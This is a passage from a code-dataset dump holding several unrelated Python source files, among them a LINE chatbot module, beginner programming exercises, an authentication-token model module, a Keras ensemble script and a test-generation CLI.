replyTo):\n    replyArr = []\n    for var in msgDict.values():\n        if var['type'] == 'Text':\n            replyArr.append(TextSendMessage(text=var['text']))\n        elif var['type'] == 'Image':\n            replyArr.append(ImageSendMessage(var['img'], var['img']))\n        elif var['type'] == 'Sticker':\n            replyArr.append(StickerSendMessage(package_id=var['package'], sticker_id=var['sticker']))\n        elif var['type'] == 'Btn':\n            # print(var)\n            btn_template = ButtonsTemplate(\n            title=var['title'], \n            text=var['fullText'], \n            actions=get_button_template_message(var['btns']))\n            replyArr.append(TemplateSendMessage(\n                alt_text=var['minText'], template=btn_template))\n        elif var['type'] == 'Bugua':\n            get_bugua_flex_message(var, replyTo)\n        elif var['type'] == 'Toss':\n            get_toss_flex_message(var, replyTo)\n    if len(replyArr) > 0:\n        line_bot_api.reply_message(replyTo, replyArr)\n\ndef get_button_template_message(actionsDict):\n    actionArr = []\n    for a in actionsDict.values():\n        if a['type'] == 'url':\n            actionArr.append(URIAction(label=a['label'], uri=a['content']))\n        elif a['type'] == 'date' or a['type'] == 'time' or a['type'] == 'datetime':\n            actionArr.append(DatetimePickerAction(label=a['label'], data=a['postback'], mode=a['type']))\n        else:\n            actionArr.append(MessageAction(label=a['label'], text=a['content']))\n    return actionArr\n    \ndef test_message(text, event):\n    testDict = {\n        '0':{\n            'type': 'Text',\n        }\n    }\n    if text.find('資料庫') >= 0:\n        testDict['0']['text'] = test_database()\n    elif text.find('招呼') >= 0:\n        from DownloadImg import search_image\n        testDict['0']['text'] = '你以為這麼簡單就可以測試成功嗎？'\n        imgFileName = search_image('貓')[0]\n        testDict['1'] = {\n            'type':'Image',\n            'img':imgFileName\n        }\n    elif isinstance(event.source, SourceUser):\n        profile = line_bot_api.get_profile(event.source.user_id)\n        testDict['0']['text'] = '不要以為你是' + profile.display_name + '就了不起哦！'\n    elif isinstance(event.source, SourceGroup):\n        testDict['0']['text'] = '各位下班了嗎～'\n    else:\n        testDict['0']['text'] = \"你是誰啊？媽媽說過不能跟陌生人說話，加好友再來戰。\"\n    check_reply_message_method(testDict, event.reply_token)\n\ndef say_hello_message(event):\n    helloDict = {\n        '0': {\n            'type':'Text',\n            'text':'你要想清楚，成為我好友也不會對你比較好哦！我這個人很簡單，現在就讓我們先把話說清楚。'\n        },\n        '1': {\n            'type':'Text',\n            'text':'只有你跟我的時候，我一定不會冷落你這是我的原則，不信你可以試試。用擲筊『杯』、『吉凶』或卜『卦』我會幫你占卜，説『籤』的話我會幫你抽一支六十甲子籤。'\n        },\n        '2': {\n            'type':'Text',\n            'text':'但是我在其他人面前會緊張，在群組裡要找我幫忙要先喊『阿比』我才會知道你找我。'\n        },\n        '3': {\n            'type':'Text',\n            'text':'就這樣，那麼現在你想跟我聊什麼呢？'\n        }\n    }\n    check_reply_message_method(helloDict, event.reply_token)\n\ndef get_toss_flex_message(megDict, to, reply = True):\n    bubble = BubbleContainer(\n        direction='ltr',\n        header=BoxComponent(\n            layout='baseline',\n            margin='md',\n            contents=[\n                TextComponent(text=megDict['title'], weight='bold', size='xl'),\n            ]\n        ),\n        body=BoxComponent(\n            layout='horizontal',\n            margin='sm',\n            spacing='sm',\n            contents=[\n                ImageComponent(\n                    size='sm',\n                    url=megDict['img'][0],\n                ),\n                ImageComponent(\n                    size='sm',\n                    url=megDict['img'][1],\n                ),\n            ]\n        ),\n        footer=BoxComponent(\n            layout='vertical',\n            spacing='sm',\n            contents=[                \n                SeparatorComponent(),\n                ButtonComponent(\n                    style='link',\n                    height='sm',\n                    action=URIAction(label=megDict['btn_word'], uri=megDict['url'])\n                )\n            ]\n        ),\n    )\n    message = FlexSendMessage(alt_text=megDict['title'], contents=bubble)\n    if reply:\n        line_bot_api.reply_message(to, message)\n    else:\n        line_bot_api.push_message(to, message)\n\ndef get_bugua_flex_message(megDict, to, reply = True):\n    bubble = BubbleContainer(\n        direction='ltr',\n        header=BoxComponent(\n            layout='baseline',\n            margin='md',\n            contents=[\n                TextComponent(text=megDict['title'], weight='bold', size='xl'),\n            ]\n        ),\n        body=BoxComponent(\n            layout='horizontal',\n            margin='sm',\n            spacing='sm',\n            contents=[\n                ImageComponent(\n                    size='sm',\n                    url=megDict['img'][1],\n                ),\n                TextComponent(\n                        text=megDict['explanation'],\n                        wrap=True,\n                        color='#666666',\n                        size='sm',\n                        flex=5\n                    ),\n            ]\n        ),\n        footer=BoxComponent(\n            layout='vertical',\n            spacing='sm',\n            contents=[                \n                SeparatorComponent(),\n                ButtonComponent(\n                    style='link',\n                    height='sm',\n                    action=URIAction(label=megDict['btn_word'], uri=megDict['url'])\n                )\n            ]\n        ),\n    )\n    message = FlexSendMessage(alt_text=megDict['title'], contents=bubble)\n    if reply:\n        line_bot_api.reply_message(to, message)\n    else:\n        line_bot_api.push_message(to, message)","repo_name":"HappyTheComputer/noisy-aubrey","sub_path":"LineBotApi.py","file_name":"LineBotApi.py","file_ext":"py","file_size_in_byte":12683,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"14372622020","text":"#Exercício 7\r\n#Construa um algoritmo que leia uma quantidade indeterminada de números inteiros positivos e identifique qual foi o maior número digitado.\r\n#O final da série de números digitada deve ser indicado pela entrada de –1.\r\n\r\nnum = 0\r\nn = 0\r\nmaior = 0\r\n\r\nwhile num != -1:\r\n    n += 1\r\n    for n in range(True):\r\n        if n == 1:\r\n            maior == num\r\n\r\n    num = int(input(\"informe um valor: \"))\r\n    \r\n    if num > maior:\r\n        maior = num\r\n\r\nprint(f\"O maior número digitado foi: {maior}.\")","repo_name":"LeoSpinosa/introducao_programacao","sub_path":"Conteúdo 13 Lista 2 - Laços de rep. (FOR/Exercício 7.py","file_name":"Exercício 7.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"pt","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"25238691318","text":"__all__ = [\n    'debug',\n]\n\nfrom .utils import (\n    from_qtime, to_qtime,\n    strfdelta, qt_silent_call,\n    main_window, set_status_label, add_shortcut,\n    fire_and_forget, method_dispatch, set_qobject_names,\n    get_usable_cpus_count, vs_clear_cache,\n)\n","repo_name":"Endilll/vapoursynth-preview","sub_path":"vspreview/utils/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":257,"program_lang":"python","lang":"en","doc_type":"code","stars":69,"dataset":"github-code","pt":"18"}
{"seq_id":"75052424999","text":"def rooster(getal: int, spoor: str):\r\n\r\n    # check of de opgegeven string correct is\r\n    # maak het rooster aan\r\n    if len(spoor) % getal == 0:\r\n        t = 0\r\n        lijst2 = []\r\n        for x in range(getal):\r\n            lijst = []\r\n            for y in range(getal):\r\n                lijst.append(spoor[t])\r\n                t += 1\r\n            lijst2.append(lijst)\r\n            x += 1\r\n        return lijst2\r\n    # vang de Assertion Error af\r\n    else:\r\n        raise AssertionError(\"ongeldige argumenten\")\r\n        # return print(\"Assertion Error: ongeldige argumenten\")\r\n\r\n\r\ndef tekst(lijst: [[]]) -> str:\r\n    # zet de lijst om naar tekst om te laten zien op meerdere regels\r\n    output = \"\"\r\n    for row in lijst:\r\n        for cell in row:\r\n            output += cell + \" \"\r\n        output += \"\\n\"\r\n    return output\r\n\r\n\r\ndef stap(lijst: [[]], coordinaat: tuple):\r\n\r\n    coX = coordinaat[0]\r\n    coY = coordinaat[1]\r\n    lijstX = lijst[coordinaat[0]]\r\n    tekentje = lijstX[coordinaat[1]]\r\n    array = ['v', '<', '^', '>']\r\n    index = 0\r\n    for x in range(len(array)):\r\n        if tekentje == array[x]:\r\n            index = x\r\n    newCoordinaat = (0, 0)\r\n\r\n    # ga 1 stap verder\r\n    # en verander icoontje 90 graden met klok mee\r\n    if tekentje == 'v' and coX < len(lijst)-1:\r\n        newCoordinaat = (coX + 1, coY)\r\n        lijstX[coordinaat[1]] = '<'\r\n    elif tekentje == '^'and coX > 0:\r\n        newCoordinaat = (coX - 1, coY)\r\n        lijstX[coordinaat[1]] = '>'\r\n    elif tekentje == '>' and coY < len(lijst)-1:\r\n        newCoordinaat = (coX, coY + 1)\r\n        lijstX[coordinaat[1]] = 'v'\r\n    elif tekentje == '<' and coY > 0:\r\n        newCoordinaat = (coX, coY - 1)\r\n        lijstX[coordinaat[1]] = '^'\r\n    # als hij out of bounds wil gaan blijf op dezelfde plek\r\n    else:\r\n        newCoordinaat = (coX, coY)\r\n        if index < 3:\r\n            lijstX[coordinaat[1]] = array[index + 1]\r\n        else:\r\n            lijstX[coordinaat[1]] = array[0]\r\n\r\n    return newCoordinaat\r\n\r\n\r\ndef stappen(lijst: [[]]):\r\n    # probeer naar het nest op 0,3 te komen.\r\n    coordinaat = stap(lijst, (3, 0))\r\n    stappenlijst = [(3, 0)]\r\n    while coordinaat != (0, 3):\r\n        stappenlijst.append(coordinaat)\r\n        coordinaat = stap(lijst, coordinaat)\r\n    stappenlijst.append(coordinaat)\r\n    return stappenlijst\r\n\r\n\r\ndef main() -> None:\r\n    # zoals het voorbeeld\r\n    vierkant = rooster(4, '>>>>^<^v^v^^>>v>')\r\n    print(tekst(vierkant))\r\n    print(stap(vierkant, (3, 0)))\r\n    print(tekst(vierkant))\r\n    print(stap(vierkant, (3, 1)))\r\n    print(tekst(vierkant))\r\n\r\n    vierkant = rooster(4, '>>>>^<^v^v^^>>v>')\r\n    print(tekst(vierkant))\r\n    print(stappen(vierkant))\r\n    print(tekst(vierkant))\r\n\r\n    rooster(4, '>>>>^<^v^v^>>v>')\r\n\r\ntry:\r\n    main()\r\nexcept AssertionError:\r\n    print(\"Assertion Error: Ongeldige argumenten\")\r\n","repo_name":"dionysos1/ISCRIP","sub_path":"week4/dronkenmier.py","file_name":"dronkenmier.py","file_ext":"py","file_size_in_byte":2850,"program_lang":"python","lang":"nl","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"16356830409","text":"import datetime as dt\nimport enum\nimport random\nimport uuid\nimport urllib.parse as urlparse\nfrom urllib.parse import urlencode\n\nimport requests as req\nimport boto3\nimport jwt\nimport pytz\nfrom flask import current_app, render_template\nfrom sqlalchemy.dialects.postgresql import UUID, JSONB\nfrom sqlalchemy.ext.mutable import Mutable\nfrom sqlalchemy.schema import UniqueConstraint\n\nfrom weasl.org.models import OrgProperty, Org\nfrom weasl.org.constants import OrgPropertyConstants\nfrom weasl.constants import Errors\nfrom weasl.database import (Column, Model, UUIDModel, db, reference_col,\n                             relationship)\nfrom weasl.errors import Unauthorized, ProxyAuthenticationRequired, InternalServerError\n\n\nGOOGLE_USER_URL = 'https://content.googleapis.com/oauth2/v2/userinfo'\n\n\nclass EmailToken(Model):\n    \"\"\"A class for an email token.\"\"\"\n\n    __tablename__ = 'end_users_email_auth_token'\n\n    token = Column(UUID(as_uuid=True), nullable=False, primary_key=True)\n    end_user_id = reference_col('end_users', primary_key=True)\n    end_user = relationship('EndUser')\n    created_at = Column(db.DateTime(timezone=True), nullable=False,\n                        default=dt.datetime.utcnow)\n    expired_at = Column(db.DateTime(timezone=True), nullable=False,\n                        default=dt.datetime.utcnow)\n    active = Column(db.Boolean, default=False, index=True)\n    sent = Column(db.Boolean, default=False, index=True)\n    org_id = reference_col('orgs', index=True, nullable=True)\n\n    @classmethod\n    def generate(cls, end_user):\n        \"\"\"Create a random email token.\"\"\"\n        token = uuid.uuid4()\n        email_token = cls.query.filter(cls.token == token)\n        while email_token is not None:\n            token = uuid.uuid4()\n            email_token = cls.query.filter(cls.token == token).first()\n        return cls.create(\n            token=token,\n            end_user_id=end_user.id,\n            org_id=end_user.org_id,\n            active=True,\n            sent=False,\n            expired_at=dt.datetime.utcnow() + dt.timedelta(hours=12)\n        )\n\n    @classmethod\n    def use(cls, token: str, org_id: int):\n        \"\"\"Use the token to authenticate the end_user.\"\"\"\n        email_token = cls.query.filter(\n            cls.token == token,\n            cls.active == True,\n            cls.org_id == org_id,\n            cls.expired_at > dt.datetime.utcnow().replace(tzinfo=pytz.utc),\n        ).first()\n\n        if email_token:\n            email_token.update(active=False)\n        return email_token\n\n    def make_magiclink(self):\n        \"\"\"Make the magiclink for the token, preserving the query params in the org's email.\"\"\"\n        custom_url = OrgProperty.find_for_org(self.org_id, OrgPropertyConstants.EMAIL_MAGICLINK)\n        url = (custom_url.property_value if custom_url else current_app.config.get('BASE_SITE_HOST'))\n        params = { 'w_token': self.token }\n\n        url_parts = list(urlparse.urlparse(url))\n        query = dict(urlparse.parse_qsl(url_parts[4]))\n        query.update(params)\n\n        url_parts[4] = urlencode(query)\n        return urlparse.urlunparse(url_parts)\n\n    def send(self):\n        \"\"\"Send the token to the end_user.\"\"\"\n        if current_app.config.get('SEND_EMAILS'):\n            email = self.end_user.email\n            ses_client = boto3.client('ses', region_name='us-west-2')\n            org_name = OrgProperty.find_for_org(self.org_id, OrgPropertyConstants.COMPANY_NAME)\n            ses_client.send_email(\n                Source=current_app.config['FROM_EMAIL'],\n                Destination={\n                    'ToAddresses': [email],\n                },\n                Message={\n                    'Subject': {\n                        'Data': 'Log in to your {} account'.format(org_name.property_value if org_name else '')\n                    },\n                    'Body': {\n                        'Html': {\n                            'Data': render_template(\n                                'emails/magiclink.html',\n                                org_name=org_name.property_value if org_name else '',\n                                email_magiclink='{}'.format(self.make_magiclink())\n                            )\n                        }\n                    }\n                }\n            )\n        self.update(sent=True)\n\n\n\n\nclass SMSToken(Model):\n    \"\"\"A class for SMS authentication tokens.\"\"\"\n\n    __tablename__ = 'end_users_sms_auth_token'\n\n    TOKEN_CHARACTERS = '0123456789abcdefghijklmonpqrstuvwxyz'\n\n    token = Column(db.String(6), primary_key=True)\n    end_user_id = reference_col('end_users', primary_key=True)\n    end_user = relationship('EndUser')\n    created_at = Column(db.DateTime(timezone=True), nullable=False,\n                        default=dt.datetime.utcnow)\n    expired_at = Column(db.DateTime(timezone=True), nullable=False,\n                        default=dt.datetime.utcnow)\n    active = Column(db.Boolean, default=False, index=True)\n    sent = Column(db.Boolean, default=False, index=True)\n    org_id = reference_col('orgs', index=True, nullable=True)\n\n    @staticmethod\n    def create_random_token():\n        \"\"\"Create a random 6-digit token.\"\"\"\n        return ''.join([random.choice(SMSToken.TOKEN_CHARACTERS) for _ in range(6)])\n\n    @classmethod\n    def generate(cls, end_user):\n        \"\"\"Create a new SMS Token for a given end_user.\"\"\"\n        text_token = cls.create_random_token()\n        sms_token = cls.query.filter(cls.token == text_token).first()\n        while sms_token is not None:\n            text_token = cls.create_random_token()\n            sms_token = cls.query.filter(cls.token == text_token).first()\n        return cls.create(\n            token=text_token,\n            end_user_id=end_user.id,\n            org_id=end_user.org_id,\n            active=True,\n            sent=False,\n            expired_at=dt.datetime.utcnow() + dt.timedelta(hours=1),\n        )\n\n    @classmethod\n    def use(cls, token_string: str, org_id: int):\n        \"\"\"Use the token to authenticate the end_user.\"\"\"\n        sms_token = cls.query.filter(\n            cls.token == token_string.lower(),\n            cls.active == True,\n            cls.org_id == org_id,\n            cls.expired_at > dt.datetime.utcnow().replace(tzinfo=pytz.utc),\n        ).first()\n        if sms_token:\n            sms_token.update(active=False)\n        return sms_token\n\n    def send(self):\n        \"\"\"Send the token to the end_user.\"\"\"\n        if current_app.config.get('SEND_SMS'):\n            phone_number = self.end_user.phone_number\n            current_app.twilio_client.messages.create(\n                to=phone_number,\n                from_=current_app.config['TWILIO_FROM_NUMBER'],\n                body='{}: {}'.format(\n                    OrgProperty.get_for_org_with_default(self.end_user.org_id, OrgPropertyConstants.TEXT_LOGIN_MESSAGE),\n                    self.token.upper(),\n                )\n            )\n        self.update(sent=True)\n\n\nclass MutableDict(Mutable, dict):\n    @classmethod\n    def coerce(cls, key, value):\n        if not isinstance(value, MutableDict):\n            if isinstance(value, dict):\n                return MutableDict(value)\n            return Mutable.coerce(key, value)\n        else:\n            return value\n\n    def __setitem__(self, key, value):\n        dict.__setitem__(self, key, value)\n        self.changed()\n\n    def __delitem__(self, key):\n        dict.__delitem__(self, key)\n        self.changed()\n\n\nclass EndUser(UUIDModel):\n    \"\"\"A class for end_users in the database.\"\"\"\n\n    __tablename__ = 'end_users'\n\n    attributes = Column(MutableDict.as_mutable(JSONB()))\n    email = Column(db.String(90), index=True, nullable=True)\n    phone_number = Column(db.String(50), index=True, nullable=True)\n    google_id = Column(db.String(90), index=True, nullable=True)\n    org_id = reference_col('orgs', nullable=False, index=True)\n    # ALL TIME ARE IN UTC\n    created_at = Column(db.DateTime(timezone=True), nullable=True,\n                        default=dt.datetime.utcnow)\n    last_login_at = Column(db.DateTime(timezone=True), nullable=True)\n    updated_at = Column(db.DateTime(timezone=True), nullable=True,\n                        default=dt.datetime.utcnow)\n\n    __table_args__ = (\n        UniqueConstraint('org_id', 'email', name='_email_org_uc'),\n        UniqueConstraint('org_id', 'phone_number', name='_phone_org_uc'),\n    )\n\n    @property\n    def properties(self):\n        \"\"\"Get all the properties for the end user.\"\"\"\n        return EndUserProperty.get_by_end_user(self.id)\n\n    @classmethod\n    def from_google_token(cls, token: str, org_id: int):\n        \"\"\"Get the user from the google email via an OAuth2 token.\"\"\"\n        res = req.get(GOOGLE_USER_URL, headers={'Authorization': 'Bearer {}'.format(token)})\n        if res.status_code != 200:\n            raise InternalServerError(Errors.AUTH_PROVIDER_FAILED)\n        userinfo = res.json()\n        verified_email = userinfo.get('verified_email')\n        if not verified_email:\n            raise ProxyAuthenticationRequired(Errors.GOOGLE_NOT_VERIFIED)\n        google_id = userinfo.get('id')\n        email = userinfo.get('email')\n        end_user = EndUser.query.filter(\n            EndUser.email == email,\n            EndUser.org_id == org_id,\n        ).first()\n        if end_user is None:\n            # create a new user\n            end_user = EndUser.create(\n                google_id=google_id,\n                org_id=org_id,\n                email=email,\n                created_at=dt.datetime.utcnow(),\n                updated_at=dt.datetime.utcnow(),\n            )\n        else:\n            end_user.update(google_id=google_id)\n        return end_user\n\n    @classmethod\n    def from_token(cls, token: str):\n        \"\"\"Get the end_user from an auth token.\"\"\"\n        end_user_id = EndUser.decode_auth_token(token)\n        if end_user_id:\n            return EndUser.find(end_user_id)\n\n    @staticmethod\n    def decode_auth_token(auth_token: str) -> str:\n        \"\"\"\n        Decodes the auth token\n        :param str auth_token:\n        :return: string\n        \"\"\"\n        try:\n            payload = jwt.decode(auth_token, current_app.config.get('SECRET_KEY'), algorithms=['HS256'])\n            return payload['sub']\n        except (jwt.ExpiredSignatureError, jwt.InvalidTokenError):\n            raise Unauthorized(Errors.BAD_TOKEN)\n\n    def encode_auth_token(self) -> str:\n        \"\"\"\n        Generates the Auth Token\n        :return: string\n        \"\"\"\n        try:\n            payload = {\n                'exp': dt.datetime.utcnow() + dt.timedelta(days=7),\n                'iat': dt.datetime.utcnow(),\n                'sub': str(self.id),\n            }\n            return jwt.encode(\n                payload,\n                current_app.config.get('SECRET_KEY'),\n                algorithm='HS256'\n            )\n        except Exception as e:\n            return e\n\n    def org_for_admin(self) -> int:\n        \"\"\"Gets the org_id for which this user is the admin, since Weasl now runs on Weasl.\"\"\"\n        try:\n            prop = next(filter(lambda eu_prop: eu_prop.property_name == 'org_id_as_admin' and eu_prop.trusted, self.properties))\n            return Org.find(prop.property_value)\n        except StopIteration as exc:\n            return None\n\n    def is_weasl_master_admin(self) -> bool:\n        \"\"\"Checks to see if the user is an admin of weasl overall.\"\"\"\n        try:\n            prop = next(filter(lambda eu_prop: eu_prop.property_name == 'is_weasl_admin' and eu_prop.trusted, self.properties))\n            converter = eval('{}'.format(prop.property_type.value))\n            return converter(prop.property_value)\n        except StopIteration as exc:\n            return False\n\n\n\nclass EndUserPropertyTypes(enum.Enum):\n    STRING = 'str'\n    NUMBER = 'int'\n    JSON = 'json.loads'\n    BOOLEAN = 'bool'\n\n\nclass EndUserProperty(Model):\n    \"\"\"A class for end user properties in the database.\"\"\"\n\n    __tablename__ = 'end_user_properties'\n\n    end_user_id = reference_col('end_users', primary_key=True)\n    property_name = Column(db.String(511), primary_key=True)\n    property_value = Column(db.Text())\n    property_type = Column(db.Enum(EndUserPropertyTypes), nullable=False)\n    trusted = Column(db.Boolean, default=False)\n\n    @classmethod\n    def get_by_end_user(cls, end_user_id):\n        \"\"\"Get all the properties for the end user.\"\"\"\n        return cls.query.filter(cls.end_user_id == end_user_id).all()\n\n    @classmethod\n    def find_for_end_user(cls, end_user_id, prop_name):\n        \"\"\"Find a specific property by name and end user id.\"\"\"\n        return cls.query.filter(cls.end_user_id == end_user_id, cls.property_name == prop_name).first()\n\n    @classmethod\n    def save_prop_for_end_user(cls, end_user_id, prop, value, prop_type=EndUserPropertyTypes.STRING, trusted=False):\n        \"\"\"Save a property for an end user.\"\"\"\n        inst = cls.find_for_end_user(end_user_id, prop)\n        if inst is None:\n            return cls.create(\n                end_user_id=end_user_id,\n                property_name=prop,\n                property_value=value,\n                property_type=prop_type,\n                trusted=trusted,\n            )\n        else:\n            return inst.update(property_value=value)\n","repo_name":"Rdbaker/weasl-api","sub_path":"weasl/end_user/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":13216,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"38581163872","text":"from keras.layers import Dense, Dropout\nfrom keras.layers.merge import concatenate\nfrom keras.models import Model\nfrom keras.models import load_model\nfrom keras.optimizers import Adam\nfrom keras.utils import plot_model\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.utils import class_weight\n\nfrom custom_losses import custom_focal_loss\nfrom preprocessing import *\n\n'''\nFollows this tutorial @link https://machinelearningmastery.com/stacking-ensemble-for-deep-learning-neural-networks/\n'''\nCLASSIFIER = 'classifier'\nEPOCHS = 1000\nDROP_OUT_PROB = 0.2\n\n\ndef load_models(path, n_models):\n    models = []\n    for i in range(n_models):\n        file_path = path + str(i) + '.h5'\n        model = load_model(file_path, custom_objects={'custom_focal_loss': custom_focal_loss})\n        models.append(model)\n    return models\n\n\ndef stacked_model(members, is_using_deep_supervised_autoencoder=False):\n    ensemble_inputs = [model.input for model in members]\n    ensemble_outputs = list()\n    if is_using_deep_supervised_autoencoder:\n        ensemble_outputs = [model.get_layer(CLASSIFIER).output for model in members]\n    else:\n        ensemble_outputs = [model.output for model in members]\n    for i in range(len(members)):\n        model = members[i]\n        for layer in model.layers:\n            layer.trainable = False\n            layer.name = 'ensemble_' + str(i + 1) + '_' + layer.name\n\n    merged_ensemble_outputs = concatenate(ensemble_outputs)\n    #hidden_1 = Dense(10, activation='relu')(merged_ensemble_outputs)\n    #hidden_1 = Dropout(DROP_OUT_PROB)(merged_ensemble_outputs)\n    hidden_2 = Dense(6, activation='relu')(merged_ensemble_outputs)\n    hidden_2 = Dropout(DROP_OUT_PROB)(hidden_2)\n    hidden_3 = Dense(4, activation='relu')(hidden_2)\n    hidden_3 = Dropout(DROP_OUT_PROB)(hidden_3)\n    output = Dense(1, activation='sigmoid')(hidden_3)\n    model = Model(inputs=ensemble_inputs, outputs=output)\n    plot_model(model, show_shapes=True, to_file='model_graph.png')\n    init_lr = 0.0001\n    adam = Adam(lr=init_lr, decay=init_lr / EPOCHS)\n    model.compile(loss=custom_focal_loss, optimizer=adam, metrics=['accuracy'])\n    return model\n\n\n# fit a stacked model\ndef fit_stacked_model(model, X_train, y_train):\n    # custom_metrics=CustomMetrics()\n    X_trains = [X_train for _ in range(len(model.input))]\n    cw = compute_class_weight(y_train)\n    model.fit(X_trains, y_train, batch_size=32, epochs=EPOCHS, verbose=0, class_weight=cw)\n\n\n\ndef predict_stacked_model(model, inputX):\n    # prepare input data\n    X = [inputX for _ in range(len(model.input))]\n    # make prediction\n    return model.predict(X, verbose=0)\n\n\ndef print_metrics(custom_metrics):\n    for i in range(len(custom_metrics.avg_scores)):\n        print(str(custom_metrics.confusion[i]) + '---->' + str(custom_metrics.avg_scores[i]))\n\n\ndef compute_class_weight(y_train):\n    cw = class_weight.compute_class_weight('balanced', np.unique(y_train),\n                                           y_train)\n    return cw\n\n\nsub_models = load_models(\n    '../models/deep-supervised-autoencoder-using-pre-trained-tanh-adam-gaussiannoise-dropout-005-gamma2-minmax_scale/deep_supervised_autoencoder_with_fold_6_4_lr_00001_custom_focal_loss_tanh_',\n    2)\nX_train, X_test, y_train, y_test = prepare_training_data(StandardScaler())\n#def run_stacked_model(sub_models,X_train, X_test, y_train, y_test):\n#s_model = stacked_model(sub_models, is_using_deep_supervised_autoencoder=True)\n#fit_stacked_model(s_model, X_train, y_train)\n#predicted_y = np.rint(predict_stacked_model(s_model, X_test))\n#cf_m = confusion_matrix(y_test, predicted_y)\n#print(cf_m.ravel())\nprint('sub models')\nis_using_deep_supervised_autoencoder = True\nfor smodel in sub_models:\n    predicted = None\n    if is_using_deep_supervised_autoencoder:\n        predicted = np.rint(smodel.predict(X_test)[1])\n    else:\n        predicted = np.rint(smodel.predict(X_test))\n    cf = confusion_matrix(y_test, predicted)\n    print(cf.ravel())\n\n\n\n#run_stacked_model(sub_models,X_train, X_test, y_train, y_test)\n","repo_name":"truongtud/data-mining-cup-2019","sub_path":"implementation/ensemble.py","file_name":"ensemble.py","file_ext":"py","file_size_in_byte":4027,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"13030828404","text":"#!/usr/bin/env python3\nimport argparse\nimport logging\nimport os\nfrom typing import Set\n\nfrom versionizer.ast_differ import ASTDiffer\nfrom versionizer.ast_handler import ASTHandler\nfrom versionizer.automated_test_executor import AutomatedTestExecutor\nfrom versionizer.automated_test_generator import AutomatedTestGenerator\nfrom versionizer.function_node import FunctionNode\nfrom versionizer.git_handler import GitHandler\nfrom versionizer.parsed_ast_builder import ParsedASTBuilder\nfrom versionizer.utils import print_banner\n\nparser = argparse.ArgumentParser(\n    description=\"Automatically generate test cases to ensure the correctness of \"\n                \"changed code.\",\n)\n\nparser.add_argument(\n    \"--project-path\",\n    help=\"The directory which contains the python module. If the module argument is not\"\n         \" specified, Versionizer will generate tests for all non-test Python files in\"\n         \" this directory.\",\n    required=True\n)\n\n\nparser.add_argument(\n    \"--git-repo\",\n    help=\"The location of the Git repository for the project under test. If not \"\n         \"provided, Versionizer will default to it's own repository and assume you're\"\n         \"testing it on itself or sample directories.\",\n    required=False,\n)\n\n\nparser.add_argument(\n    \"-m\",\n    \"--module\",\n    help=\"The python file to generate tests for. If empty, Versionizer will generate \"\n         \"tests for all files in the module.\",\n    required=False\n)\n\nparser.add_argument(\n    \"-gt\"\n    \"--generate-tests\",\n    help=\"Generate tests.\",\n    action=\"store_true\"\n)\n\nparser.add_argument(\n    \"-dgt\"\n    \"--dont-generate-tests\",\n    dest=\"generate_tests\",\n    help=\"Don't generate tests. Use this if you only want to execute existing tests.\",\n    action='store_false',\n)\n\nparser.add_argument(\n    \"-r\",\n    \"--run-tests\",\n    default=True,\n    action='store_true',\n    dest=\"run_tests\",\n)\n\nparser.add_argument(\n    \"-dr\",\n    \"--dont-run-tests\",\n    action='store_false',\n    dest=\"run_tests\",\n)\n\nparser.add_argument(\n    \"-p\",\n    \"--previous-commit\",\n    help=\"The commit containing the original version of code.\",\n    required=True,\n)\n\nparser.add_argument(\n    \"-c\",\n    \"--current-commit\",\n    default=None,\n    help=\"The commit of the new code. Defaults to the current commit if not specified.\",\n)\n\nparser.add_argument(\n    \"--algorithm\",\n    default=\"WHOLE_SUITE\",\n    help=\"Specify which algorithm to use for test generation. Defaults to whole suite \"\n         \"tests, similar to EvoSuite.\",\n    choices=[\"RANDOM\", \"MOSA\", \"RANDOM_SEARCH\", \"WHOLE_SUITE\"],\n)\n\n\ndef generate_tests(args):\n    test_generator = AutomatedTestGenerator(args)\n    test_generator.generate_tests()\n\n\ndef validate_args(args):\n    if not args.run_tests and not args.generate_tests:\n        parser.error(\n            \"Please specify whether you want Versionizer to generate or run tests.\")\n    if args.generate_tests and not args.previous_commit:\n        parser.error(\"Must specify a previous commit to generate tests for.\")\n\n\ndef run_for_file(project_path, file, git_handler, args):\n    git_handler.checkout_first_commit()\n    file_path_to_test = os.path.join(project_path, file)\n\n    ast_handler_1 = ASTHandler(file_path_to_test)\n    git_handler.checkout_second_commit()\n    ast_handler_2 = ASTHandler(file_path_to_test)\n    ast_differ = ASTDiffer(ast_handler_1, ast_handler_2)\n    different_nodes: Set[FunctionNode] = ast_differ.get_changed_function_nodes()\n\n    git_handler.checkout_first_commit()\n    parsed_ast_builder: ParsedASTBuilder = ParsedASTBuilder(file_path_to_test,\n                                                            different_nodes,\n                                                            ast_handler_1.get_function_dependents())\n    parsed_ast_builder.build_source()\n\n    if args.generate_tests:\n        generate_tests(args)\n\n    test_file_name = \"test_\" + file\n    test_file_path = os.path.join(project_path, test_file_name)\n    with open(test_file_path, \"r+\") as f:\n        test_file_lines = f.readlines()\n\n    git_handler.return_to_head()\n    with open(test_file_path, \"w\") as f:\n        f.writelines(test_file_lines)\n\n\ndef main():\n    args = parser.parse_args()\n    args.output_path = args.project_path\n    print_banner()\n    validate_args(args)\n\n    git_handler: GitHandler = GitHandler(args.previous_commit, args.current_commit)\n    git_handler.stash_changes_if_necessary()\n    try:\n        # Handle working with a single file\n        if args.module:\n            run_for_file(args.project_path, args.module, git_handler, args)\n        # Handle working with an entire directory\n        else:\n            for dirpath, dirnames, filenames in os.walk(args.project_path):\n                for file in filenames:\n                    if file.endswith(\n                            \".py\") and \"test\" not in file and \"init\" not in file:\n                        run_for_file(args.project_path, file, git_handler, args)\n\n    except Exception as e:\n        logging.error(e)\n    finally:\n        git_handler.return_to_head()\n        git_handler.pop_stash_if_needed()\n\n    if args.run_tests:\n        AutomatedTestExecutor.run_tests(args.project_path)\n\n\nif __name__ == \"__main__\":\n    